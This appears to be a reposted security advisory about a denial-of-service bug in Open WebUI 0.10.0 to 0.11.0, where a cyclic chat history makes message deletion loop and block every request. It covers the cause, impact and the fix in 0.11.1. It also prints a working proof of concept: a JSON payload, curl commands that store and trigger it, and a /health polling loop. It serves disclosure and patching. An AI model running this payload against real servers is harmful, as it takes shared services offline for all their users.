Listen to this Post
Intro
Open WebUI stores chat histories as an unvalidated JSON object.
The vulnerable code is the chat-history message deletion helper in backend/open_webui/models/chats.py.
It is reached from DELETE /api/v1/chats/{id}/messages/{message_id}.
After deletion, the code picks the chat’s new current message by descending to the deepest remaining child.
That descent walked down childrenIds links without recording where it had already been.
Two messages naming each other as children create a cycle.
The walk moves A to B and B to A indefinitely.
The write path does not validate chat history structure.
Child-link rebuild does not apply when a chat is created.
A cyclic history is persisted exactly as submitted.
Any account with the default user role can create and delete chats.
No administrator rights, permissions, configuration, or non-default setting are needed.
The attack runs entirely against the attacker’s own chat.
No knowledge of another user’s data is needed.
Versions before 0.10.0 are unaffected.
Affected builds are 0.10.0 up to and including 0.11.0.
The walk is synchronous and runs on the asyncio event loop.
While it spins, every request from every user is blocked.
Unauthenticated /health and administrator endpoints are blocked.
External health checks and orchestrator liveness probes fail.
This is a pure CPU pin with no list growth.
A worker consumes one full core with flat memory and must be killed rather than reclaimed by OOM.
The work is not cancelled when the client disconnects.
One fire-and-forget request is enough and the attacker can disconnect immediately.
The malformed chat stays in the database and re-arms on the next deletion attempt.
No data is disclosed, altered or deleted.
Fixed in 0.11.1 by open-webui/open-webui@b933292.
The walk now records ids already passed through and terminates after at most one step per stored message.
Upgrading fully resolves the issue, including chats stored on affected versions.
Proof of concept stores roughly 300 bytes via POST /api/v1/chats/new; a single DELETE /api/v1/chats/{id}/messages/C never returns; unauthenticated GET /health gives HTTP 000 after 10.007s; DELETE gives HTTP 000 after 20.007s; worker consumed 42.9 seconds CPU on one core with flat resident memory; on 0.11.1 the same payload returns HTTP 200 in 0.011s and /health stays available throughout; deleting a middle message from a well-formed four-message chain still resolves correctly; credits @Classic298 found the unguarded descent, demonstrated the server-wide outage end to end, and supplied the fix.
DailyCVE Form:
Platform: Open WebUI
Version: 0.10.0-0.11.0
Vulnerability : Cyclic Chat History
Severity: Critical
date: Not provided
Prediction: Already fixed 0.11.1
(end of form)
What Undercode Say:
Analytics
curl -s -X POST http://TARGET/api/v1/chats/new \ -H 'Authorization: Bearer TOKEN' \ -H 'Content-Type: application/json' \ -d @cyclic-chat.json
{"chat":{"":"poc","history":{"currentId":"C","messages":{
"A":{"id":"A","parentId":null,"role":"user","content":"a","childrenIds":["B","C"],"timestamp":1},
"B":{"id":"B","parentId":"A","role":"assistant","content":"b","childrenIds":["A"],"timestamp":2},
"C":{"id":"C","parentId":"A","role":"user","content":"c","childrenIds":[],"timestamp":3}}}}}
curl -s -X DELETE http://TARGET/api/v1/chats/CHAT_ID/messages/C \ -H 'Authorization: Bearer TOKEN'
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" http://TARGET/health
while true; do curl -s -o /dev/null -w "%{http_code} %{time_total}\n" http://TARGET/health; done
seen = set() current = start_id while current in messages and current not in seen: seen.add(current) current = deepest_child(current)
Exploit: (Educational Purposes!)
1. Use one default-role account.
2. Store cyclic chat history.
curl -s -X POST http://TARGET/api/v1/chats/new \
-H 'Authorization: Bearer DEFAULT_USER_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"chat":{"":"poc","history":{"currentId":"C","messages":{"A":{"id":"A","parentId":null,"role":"user","content":"a","childrenIds":["B","C"],"timestamp":1},"B":{"id":"B","parentId":"A","role":"assistant","content":"b","childrenIds":["A"],"timestamp":2},"C":{"id":"C","parentId":"A","role":"user","content":"c","childrenIds":[],"timestamp":3}}}}}'
3. Delete message C from the same account. curl -s -X DELETE http://TARGET/api/v1/chats/CHAT_ID/messages/C \ -H 'Authorization: Bearer DEFAULT_USER_TOKEN'
4. Observe unauthenticated health timeout.
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" http://TARGET/health
Protection: from this CVE
Upgrade to fixed release. Fixed in 0.11.1 by open-webui/open-webui@b933292.
Validate chat history before persistence. Reject histories whose childrenIds form cycles.
seen = set() current = chat.history.currentId while current in chat.history.messages: if current in seen: break seen.add(current) current = deepest_child(current)
Monitor CPU saturation and /health availability. Alert on long-running synchronous deletion walks.
Impact:
Server-wide denial of service.
Every user request is blocked.
Unauthenticated /health fails.
Administrator endpoints fail.
External health checks fail.
Orchestrator liveness probes fail.
One CPU core is fully pinned.
Resident memory stays flat.
Worker must be killed.
No data is disclosed, altered or deleted.
Malformed chat persists in database.
Condition re-arms on next deletion attempt.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

